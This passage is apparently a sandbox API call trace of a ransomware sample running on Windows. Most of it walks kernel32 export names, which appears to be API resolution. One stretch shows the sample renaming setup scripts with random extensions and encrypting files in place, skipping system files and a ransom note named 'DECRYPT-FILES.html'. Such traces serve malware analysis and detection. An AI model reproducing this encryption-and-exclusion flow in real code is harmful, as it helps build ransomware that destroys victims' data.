(lpString="CREATEJOBOBJECTW") returned 16 [0106.988] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobSet" | out: lpString1="CreateJobSet") returned="CreateJobSet" [0106.988] lstrlenA (lpString="CREATEJOBSET") returned 12 [0106.988] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMailslotA" | out: lpString1="CreateMailslotA") returned="CreateMailslotA" [0106.988] lstrlenA (lpString="CREATEMAILSLOTA") returned 15 [0106.988] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMailslotW" | out: lpString1="CreateMailslotW") returned="CreateMailslotW" [0106.988] lstrlenA (lpString="CREATEMAILSLOTW") returned 15 [0106.988] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMemoryResourceNotification" | out: lpString1="CreateMemoryResourceNotification") returned="CreateMemoryResourceNotification" [0106.988] lstrlenA (lpString="CREATEMEMORYRESOURCENOTIFICATION") returned 32 [0106.988] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexA" | out: lpString1="CreateMutexA") returned="CreateMutexA" [0106.989] lstrlenA (lpString="CREATEMUTEXA") returned 12 [0106.989] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexExA" | out: lpString1="CreateMutexExA") returned="CreateMutexExA" [0106.989] lstrlenA (lpString="CREATEMUTEXEXA") returned 14 [0106.989] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexExW" | out: lpString1="CreateMutexExW") returned="CreateMutexExW" [0106.989] lstrlenA (lpString="CREATEMUTEXEXW") returned 14 [0106.989] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexW" | out: lpString1="CreateMutexW") returned="CreateMutexW" [0106.989] lstrlenA (lpString="CREATEMUTEXW") returned 12 [0106.989] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateNamedPipeA" | out: lpString1="CreateNamedPipeA") returned="CreateNamedPipeA" [0106.989] lstrlenA (lpString="CREATENAMEDPIPEA") returned 16 [0106.989] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateNamedPipeW" | out: lpString1="CreateNamedPipeW") returned="CreateNamedPipeW" [0106.989] lstrlenA (lpString="CREATENAMEDPIPEW") returned 16 [0106.989] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePipe" | out: lpString1="CreatePipe") returned="CreatePipe" [0106.989] lstrlenA (lpString="CREATEPIPE") returned 10 [0106.989] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePrivateNamespaceA" | out: lpString1="CreatePrivateNamespaceA") returned="CreatePrivateNamespaceA" [0106.989] lstrlenA (lpString="CREATEPRIVATENAMESPACEA") returned 23 [0106.989] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePrivateNamespaceW" | out: lpString1="CreatePrivateNamespaceW") returned="CreatePrivateNamespaceW" [0106.989] lstrlenA (lpString="CREATEPRIVATENAMESPACEW") returned 23 [0106.989] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessA" | out: lpString1="CreateProcessA") returned="CreateProcessA" [0106.989] lstrlenA (lpString="CREATEPROCESSA") returned 14 [0106.989] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessAsUserA" | out: lpString1="CreateProcessAsUserA") returned="CreateProcessAsUserA" [0106.989] lstrlenA (lpString="CREATEPROCESSASUSERA") returned 20 [0106.989] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessAsUserW" | out: lpString1="CreateProcessAsUserW") returned="CreateProcessAsUserW" [0106.989] lstrlenA (lpString="CREATEPROCESSASUSERW") returned 20 [0106.989] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessInternalA" | out: lpString1="CreateProcessInternalA") returned="CreateProcessInternalA" [0106.989] lstrlenA (lpString="CREATEPROCESSINTERNALA") returned 22 [0106.989] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessInternalW" | out: lpString1="CreateProcessInternalW") returned="CreateProcessInternalW" [0106.989] lstrlenA (lpString="CREATEPROCESSINTERNALW") returned 22 [0106.989] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessW" | out: lpString1="CreateProcessW") returned="CreateProcessW" [0106.989] lstrlenA (lpString="CREATEPROCESSW") returned 14 [0106.989] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateRemoteThread" | out: lpString1="CreateRemoteThread") returned="CreateRemoteThread" [0106.989] lstrlenA (lpString="CREATEREMOTETHREAD") returned 18 [0106.989] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateRemoteThreadEx" | out: lpString1="CreateRemoteThreadEx") returned="CreateRemoteThreadEx" [0106.990] lstrlenA (lpString="CREATEREMOTETHREADEX") returned 20 [0106.990] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreA" | out: lpString1="CreateSemaphoreA") returned="CreateSemaphoreA" [0106.990] lstrlenA (lpString="CREATESEMAPHOREA") returned 16 [0106.990] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreExA" | out: lpString1="CreateSemaphoreExA") returned="CreateSemaphoreExA" [0106.990] lstrlenA (lpString="CREATESEMAPHOREEXA") returned 18 [0106.990] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreExW" | out: lpString1="CreateSemaphoreExW") returned="CreateSemaphoreExW" [0106.990] lstrlenA (lpString="CREATESEMAPHOREEXW") returned 18 [0106.990] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreW" | out: lpString1="CreateSemaphoreW") returned="CreateSemaphoreW" [0106.990] lstrlenA (lpString="CREATESEMAPHOREW") returned 16 [0106.990] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSocketHandle" | out: lpString1="CreateSocketHandle") returned="CreateSocketHandle" [0106.990] lstrlenA (lpString="CREATESOCKETHANDLE") returned 18 [0106.990] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkA" | out: lpString1="CreateSymbolicLinkA") returned="CreateSymbolicLinkA" [0106.990] lstrlenA (lpString="CREATESYMBOLICLINKA") returned 19 [0106.990] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkTransactedA" | out: lpString1="CreateSymbolicLinkTransactedA") returned="CreateSymbolicLinkTransactedA" [0106.990] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDA") returned 29 [0106.990] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkTransactedW" | out: lpString1="CreateSymbolicLinkTransactedW") returned="CreateSymbolicLinkTransactedW" [0106.990] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDW") returned 29 [0106.990] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkW" | out: lpString1="CreateSymbolicLinkW") returned="CreateSymbolicLinkW" [0106.990] lstrlenA (lpString="CREATESYMBOLICLINKW") returned 19 [0106.990] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTapePartition" | out: lpString1="CreateTapePartition") returned="CreateTapePartition" [0106.990] lstrlenA (lpString="CREATETAPEPARTITION") returned 19 [0106.990] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThread" | out: lpString1="CreateThread") returned="CreateThread" [0106.990] lstrlenA (lpString="CREATETHREAD") returned 12 [0106.990] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpool" | out: lpString1="CreateThreadpool") returned="CreateThreadpool" [0106.990] lstrlenA (lpString="CREATETHREADPOOL") returned 16 [0106.990] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolCleanupGroup" | out: lpString1="CreateThreadpoolCleanupGroup") returned="CreateThreadpoolCleanupGroup" [0106.990] lstrlenA (lpString="CREATETHREADPOOLCLEANUPGROUP") returned 28 [0106.990] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolIo" | out: lpString1="CreateThreadpoolIo") returned="CreateThreadpoolIo" [0106.990] lstrlenA (lpString="CREATETHREADPOOLIO") returned 18 [0106.990] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolTimer" | out: lpString1="CreateThreadpoolTimer") returned="CreateThreadpoolTimer" [0106.990] lstrlenA (lpString="CREATETHREADPOOLTIMER") returned 21 [0106.990] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolWait" | out: lpString1="CreateThreadpoolWait") returned="CreateThreadpoolWait" [0106.990] lstrlenA (lpString="CREATETHREADPOOLWAIT") returned 20 [0106.990] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolWork" | out: lpString1="CreateThreadpoolWork") returned="CreateThreadpoolWork" [0106.990] lstrlenA (lpString="CREATETHREADPOOLWORK") returned 20 [0106.991] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTimerQueue" | out: lpString1="CreateTimerQueue") returned="CreateTimerQueue" [0106.991] lstrlenA (lpString="CREATETIMERQUEUE") returned 16 [0106.991] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTimerQueueTimer" | out: lpString1="CreateTimerQueueTimer") returned="CreateTimerQueueTimer" [0106.991] wsprintfW (in: param_1=0x38be7e4, param_2="%s.%s" | out: param_1="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd.hrZ7") returned 51 [0106.991] MoveFileExW (lpExistingFileName="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd" (normalized: "c:\\$getcurrent\\safeos\\partnersetupcomplete.cmd"), lpNewFileName="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd.hrZ7" (normalized: "c:\\$getcurrent\\safeos\\partnersetupcomplete.cmd.hrz7"), dwFlags=0x0) returned 1 [0106.992] VirtualFree (lpAddress=0x3b70000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0106.992] VirtualFree (lpAddress=0x3b80000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0106.992] VirtualFree (lpAddress=0x3000000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0106.993] FindNextFileW (in: hFindFile=0x6bbdf0, lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9575af11, ftCreationTime.dwHighDateTime=0x1d3273b, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x9577d1ec, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x4a, dwReserved0=0x0, dwReserved1=0x7b76, cFileName="preoobe.cmd", cAlternateFileName="")) returned 1 [0106.993] lstrcmpiW (lpString1="preoobe.cmd", lpString2="DECRYPT-FILES.html") returned 1 [0106.993] lstrcmpiW (lpString1="preoobe.cmd", lpString2="autorun.inf") returned 1 [0106.993] lstrcmpiW (lpString1="preoobe.cmd", lpString2="boot.ini") returned 1 [0106.993] lstrcmpiW (lpString1="preoobe.cmd", lpString2="desktop.ini") returned 1 [0106.993] lstrcmpiW (lpString1="preoobe.cmd", lpString2="ntuser.dat") returned 1 [0106.993] lstrcmpiW (lpString1="preoobe.cmd", lpString2="iconcache.db") returned 1 [0106.993] lstrcmpiW (lpString1="preoobe.cmd", lpString2="bootsect.bak") returned 1 [0106.993] lstrcmpiW (lpString1="preoobe.cmd", lpString2="ntuser.dat.log") returned 1 [0106.993] lstrcmpiW (lpString1="preoobe.cmd", lpString2="thumbs.db") returned -1 [0106.993] lstrcmpiW (lpString1="preoobe.cmd", lpString2="Bootfont.bin") returned 1 [0106.993] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\") returned 22 [0106.993] lstrlenW (lpString="preoobe.cmd") returned 11 [0106.993] lstrcpyW (in: lpString1=0x38befe4, lpString2="C:\\$GetCurrent\\SafeOS\\" | out: lpString1="C:\\$GetCurrent\\SafeOS\\") returned="C:\\$GetCurrent\\SafeOS\\" [0106.993] lstrcatW (in: lpString1="C:\\$GetCurrent\\SafeOS\\", lpString2="preoobe.cmd" | out: lpString1="C:\\$GetCurrent\\SafeOS\\preoobe.cmd") returned="C:\\$GetCurrent\\SafeOS\\preoobe.cmd" [0106.993] VirtualAlloc (lpAddress=0x0, dwSize=0x28, flAllocationType=0x3000, flProtect=0x4) returned 0x3000000 [0106.993] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\preoobe.cmd" (normalized: "c:\\$getcurrent\\safeos\\preoobe.cmd"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0107.405] GetFileSizeEx (in: hFile=0x53c, lpFileSize=0x38be7b0 | out: lpFileSize=0x38be7b0*=74) returned 1 [0107.405] CreateFileMappingW (hFile=0x53c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName=0x0) returned 0x540 [0107.405] MapViewOfFile (hFileMappingObject=0x540, dwDesiredAccess=0x2, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x3b70000 [0107.406] CryptGenRandom (in: hProv=0x6a26f8, dwLen=0x20, pbBuffer=0x3000000 | out: pbBuffer=0x3000000) returned 1 [0107.406] CryptGenRandom (in: hProv=0x6a26f8, dwLen=0x8, pbBuffer=0x3000020 | out: pbBuffer=0x3000020) returned 1 [0107.406] VirtualAlloc (lpAddress=0x0, dwSize=0x108, flAllocationType=0x3000, flProtect=0x4) returned 0x3b80000 [0107.406] CryptEncrypt (in: hKey=0x68c9e8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3b80000*, pdwDataLen=0x38be718*=0x28, dwBufLen=0x100 | out: pbData=0x3b80000*, pdwDataLen=0x38be718*=0x100) returned 1 [0107.407] VirtualAlloc (lpAddress=0x0, dwSize=0x1001, flAllocationType=0x3000, flProtect=0x4) returned 0x3b90000 [0107.407] VirtualFree (lpAddress=0x3b90000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0107.408] UnmapViewOfFile (lpBaseAddress=0x3b70000) returned 1 [0107.408] CloseHandle (hObject=0x540) returned 1 [0107.408] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0107.408] WriteFile (in: hFile=0x53c, lpBuffer=0x3b80000*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x38be738, lpOverlapped=0x0 | out: lpBuffer=0x3b80000*, lpNumberOfBytesWritten=0x38be738*=0x108, lpOverlapped=0x0) returned 1 [0107.409] CloseHandle (hObject=0x0) returned 0 [0107.409] CloseHandle (hObject=0x53c) returned 1 [0107.410] VirtualFree (lpAddress=0x3b80000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0107.410] VirtualFree (lpAddress=0x3000000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0107.410] GetTickCount () returned 0x305be [0107.410] VirtualAlloc (lpAddress=0x0, dwSize=0x18, flAllocationType=0x3000, flProtect=0x4) returned 0x3000000 [0107.411] lstrlenW (lpString="qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890") returned 62 [0107.411] VirtualAlloc (lpAddress=0x0, dwSize=0xa, flAllocationType=0x3000, flProtect=0x4) returned 0x3b70000 [0107.411] VirtualAlloc (lpAddress=0x0, dwSize=0x7e, flAllocationType=0x3000, flProtect=0x4) returned 0x3b80000 [0107.411] lstrlenA (lpString="kernel32.dll") returned 12 [0107.412] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0107.412] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AcquireSRWLockExclusive" | out: lpString1="AcquireSRWLockExclusive") returned="AcquireSRWLockExclusive" [0107.412] lstrlenA (lpString="ACQUIRESRWLOCKEXCLUSIVE") returned 23 [0107.412] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AcquireSRWLockShared" | out: lpString1="AcquireSRWLockShared") returned="AcquireSRWLockShared" [0107.412] lstrlenA (lpString="ACQUIRESRWLOCKSHARED") returned 20 [0107.412] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ActivateActCtx" | out: lpString1="ActivateActCtx") returned="ActivateActCtx" [0107.412] lstrlenA (lpString="ACTIVATEACTCTX") returned 14 [0107.412] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ActivateActCtxWorker" | out: lpString1="ActivateActCtxWorker") returned="ActivateActCtxWorker" [0107.412] lstrlenA (lpString="ACTIVATEACTCTXWORKER") returned 20 [0107.412] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddAtomA" | out: lpString1="AddAtomA") returned="AddAtomA" [0107.412] lstrlenA (lpString="ADDATOMA") returned 8 [0107.412] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddAtomW" | out: lpString1="AddAtomW") returned="AddAtomW" [0107.412] lstrlenA (lpString="ADDATOMW") returned 8 [0107.412] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddConsoleAliasA" | out: lpString1="AddConsoleAliasA") returned="AddConsoleAliasA" [0107.412] lstrlenA (lpString="ADDCONSOLEALIASA") returned 16 [0107.412] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddConsoleAliasW" | out: lpString1="AddConsoleAliasW") returned="AddConsoleAliasW" [0107.413] lstrlenA (lpString="ADDCONSOLEALIASW") returned 16 [0107.413] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddDllDirectory" | out: lpString1="AddDllDirectory") returned="AddDllDirectory" [0107.413] lstrlenA (lpString="ADDDLLDIRECTORY") returned 15 [0107.413] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddIntegrityLabelToBoundaryDescriptor" | out: lpString1="AddIntegrityLabelToBoundaryDescriptor") returned="AddIntegrityLabelToBoundaryDescriptor" [0107.413] lstrlenA (lpString="ADDINTEGRITYLABELTOBOUNDARYDESCRIPTOR") returned 37 [0107.413] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddLocalAlternateComputerNameA" | out: lpString1="AddLocalAlternateComputerNameA") returned="AddLocalAlternateComputerNameA" [0107.413] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEA") returned 30 [0107.413] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddLocalAlternateComputerNameW" | out: lpString1="AddLocalAlternateComputerNameW") returned="AddLocalAlternateComputerNameW" [0107.413] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEW") returned 30 [0107.413] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddRefActCtx" | out: lpString1="AddRefActCtx") returned="AddRefActCtx" [0107.413] lstrlenA (lpString="ADDREFACTCTX") returned 12 [0107.413] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddRefActCtxWorker" | out: lpString1="AddRefActCtxWorker") returned="AddRefActCtxWorker" [0107.413] lstrlenA (lpString="ADDREFACTCTXWORKER") returned 18 [0107.413] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddResourceAttributeAce" | out: lpString1="AddResourceAttributeAce") returned="AddResourceAttributeAce" [0107.413] lstrlenA (lpString="ADDRESOURCEATTRIBUTEACE") returned 23 [0107.413] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddSIDToBoundaryDescriptor" | out: lpString1="AddSIDToBoundaryDescriptor") returned="AddSIDToBoundaryDescriptor" [0107.413] lstrlenA (lpString="ADDSIDTOBOUNDARYDESCRIPTOR") returned 26 [0107.413] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddScopedPolicyIDAce" | out: lpString1="AddScopedPolicyIDAce") returned="AddScopedPolicyIDAce" [0107.413] lstrlenA (lpString="ADDSCOPEDPOLICYIDACE") returned 20 [0107.413] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddSecureMemoryCacheCallback" | out: lpString1="AddSecureMemoryCacheCallback") returned="AddSecureMemoryCacheCallback" [0107.414] lstrlenA (lpString="ADDSECUREMEMORYCACHECALLBACK") returned 28 [0107.414] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddVectoredContinueHandler" | out: lpString1="AddVectoredContinueHandler") returned="AddVectoredContinueHandler" [0107.414] lstrlenA (lpString="ADDVECTOREDCONTINUEHANDLER") returned 26 [0107.414] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddVectoredExceptionHandler" | out: lpString1="AddVectoredExceptionHandler") returned="AddVectoredExceptionHandler" [0107.414] lstrlenA (lpString="ADDVECTOREDEXCEPTIONHANDLER") returned 27 [0107.414] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AdjustCalendarDate" | out: lpString1="AdjustCalendarDate") returned="AdjustCalendarDate" [0107.414] lstrlenA (lpString="ADJUSTCALENDARDATE") returned 18 [0107.414] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocConsole" | out: lpString1="AllocConsole") returned="AllocConsole" [0107.414] lstrlenA (lpString="ALLOCCONSOLE") returned 12 [0107.414] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocateUserPhysicalPages" | out: lpString1="AllocateUserPhysicalPages") returned="AllocateUserPhysicalPages" [0107.414] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGES") returned 25 [0107.414] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocateUserPhysicalPagesNuma" | out: lpString1="AllocateUserPhysicalPagesNuma") returned="AllocateUserPhysicalPagesNuma" [0107.414] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGESNUMA") returned 29 [0107.414] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetClrCompat" | out: lpString1="AppPolicyGetClrCompat") returned="AppPolicyGetClrCompat" [0107.414] lstrlenA (lpString="APPPOLICYGETCLRCOMPAT") returned 21 [0107.414] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetCreateFileAccess" | out: lpString1="AppPolicyGetCreateFileAccess") returned="AppPolicyGetCreateFileAccess" [0107.414] lstrlenA (lpString="APPPOLICYGETCREATEFILEACCESS") returned 28 [0107.414] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetLifecycleManagement" | out: lpString1="AppPolicyGetLifecycleManagement") returned="AppPolicyGetLifecycleManagement" [0107.414] lstrlenA (lpString="APPPOLICYGETLIFECYCLEMANAGEMENT") returned 31 [0107.414] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetMediaFoundationCodecLoading" | out: lpString1="AppPolicyGetMediaFoundationCodecLoading") returned="AppPolicyGetMediaFoundationCodecLoading" [0107.415] lstrlenA (lpString="APPPOLICYGETMEDIAFOUNDATIONCODECLOADING") returned 39 [0107.415] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetProcessTerminationMethod" | out: lpString1="AppPolicyGetProcessTerminationMethod") returned="AppPolicyGetProcessTerminationMethod" [0107.415] lstrlenA (lpString="APPPOLICYGETPROCESSTERMINATIONMETHOD") returned 36 [0107.415] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetShowDeveloperDiagnostic" | out: lpString1="AppPolicyGetShowDeveloperDiagnostic") returned="AppPolicyGetShowDeveloperDiagnostic" [0107.415] lstrlenA (lpString="APPPOLICYGETSHOWDEVELOPERDIAGNOSTIC") returned 35 [0107.415] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetThreadInitializationType" | out: lpString1="AppPolicyGetThreadInitializationType") returned="AppPolicyGetThreadInitializationType" [0107.415] lstrlenA (lpString="APPPOLICYGETTHREADINITIALIZATIONTYPE") returned 36 [0107.415] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetWindowingModel" | out: lpString1="AppPolicyGetWindowingModel") returned="AppPolicyGetWindowingModel" [0107.415] lstrlenA (lpString="APPPOLICYGETWINDOWINGMODEL") returned 26 [0107.415] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppXGetOSMaxVersionTested" | out: lpString1="AppXGetOSMaxVersionTested") returned="AppXGetOSMaxVersionTested" [0107.415] lstrlenA (lpString="APPXGETOSMAXVERSIONTESTED") returned 25 [0107.415] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ApplicationRecoveryFinished" | out: lpString1="ApplicationRecoveryFinished") returned="ApplicationRecoveryFinished" [0107.415] lstrlenA (lpString="APPLICATIONRECOVERYFINISHED") returned 27 [0107.415] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ApplicationRecoveryInProgress" | out: lpString1="ApplicationRecoveryInProgress") returned="ApplicationRecoveryInProgress" [0107.415] lstrlenA (lpString="APPLICATIONRECOVERYINPROGRESS") returned 29 [0107.415] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AreFileApisANSI" | out: lpString1="AreFileApisANSI") returned="AreFileApisANSI" [0107.415] lstrlenA (lpString="AREFILEAPISANSI") returned 15 [0107.415] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AssignProcessToJobObject" | out: lpString1="AssignProcessToJobObject") returned="AssignProcessToJobObject" [0107.415] lstrlenA (lpString="ASSIGNPROCESSTOJOBOBJECT") returned 24 [0107.415] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AttachConsole" | out: lpString1="AttachConsole") returned="AttachConsole" [0107.415] lstrlenA (lpString="ATTACHCONSOLE") returned 13 [0107.416] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupRead" | out: lpString1="BackupRead") returned="BackupRead" [0107.416] lstrlenA (lpString="BACKUPREAD") returned 10 [0107.416] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupSeek" | out: lpString1="BackupSeek") returned="BackupSeek" [0107.416] lstrlenA (lpString="BACKUPSEEK") returned 10 [0107.416] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupWrite" | out: lpString1="BackupWrite") returned="BackupWrite" [0107.416] lstrlenA (lpString="BACKUPWRITE") returned 11 [0107.416] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCache" | out: lpString1="BaseCheckAppcompatCache") returned="BaseCheckAppcompatCache" [0107.416] lstrlenA (lpString="BASECHECKAPPCOMPATCACHE") returned 23 [0107.416] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheEx" | out: lpString1="BaseCheckAppcompatCacheEx") returned="BaseCheckAppcompatCacheEx" [0107.416] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEX") returned 25 [0107.416] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheExWorker" | out: lpString1="BaseCheckAppcompatCacheExWorker") returned="BaseCheckAppcompatCacheExWorker" [0107.416] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEXWORKER") returned 31 [0107.416] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheWorker" | out: lpString1="BaseCheckAppcompatCacheWorker") returned="BaseCheckAppcompatCacheWorker" [0107.416] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEWORKER") returned 29 [0107.416] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckElevation" | out: lpString1="BaseCheckElevation") returned="BaseCheckElevation" [0107.416] lstrlenA (lpString="BASECHECKELEVATION") returned 18 [0107.416] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCleanupAppcompatCacheSupport" | out: lpString1="BaseCleanupAppcompatCacheSupport") returned="BaseCleanupAppcompatCacheSupport" [0107.416] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORT") returned 32 [0107.416] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCleanupAppcompatCacheSupportWorker" | out: lpString1="BaseCleanupAppcompatCacheSupportWorker") returned="BaseCleanupAppcompatCacheSupportWorker" [0107.416] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORTWORKER") returned 38 [0107.416] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDestroyVDMEnvironment" | out: lpString1="BaseDestroyVDMEnvironment") returned="BaseDestroyVDMEnvironment" [0107.417] lstrlenA (lpString="BASEDESTROYVDMENVIRONMENT") returned 25 [0107.417] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDllReadWriteIniFile" | out: lpString1="BaseDllReadWriteIniFile") returned="BaseDllReadWriteIniFile" [0107.417] lstrlenA (lpString="BASEDLLREADWRITEINIFILE") returned 23 [0107.417] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDumpAppcompatCache" | out: lpString1="BaseDumpAppcompatCache") returned="BaseDumpAppcompatCache" [0107.417] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHE") returned 22 [0107.417] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDumpAppcompatCacheWorker" | out: lpString1="BaseDumpAppcompatCacheWorker") returned="BaseDumpAppcompatCacheWorker" [0107.417] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHEWORKER") returned 28 [0107.417] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseElevationPostProcessing" | out: lpString1="BaseElevationPostProcessing") returned="BaseElevationPostProcessing" [0107.417] lstrlenA (lpString="BASEELEVATIONPOSTPROCESSING") returned 27 [0107.417] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFlushAppcompatCache" | out: lpString1="BaseFlushAppcompatCache") returned="BaseFlushAppcompatCache" [0107.417] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHE") returned 23 [0107.417] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFlushAppcompatCacheWorker" | out: 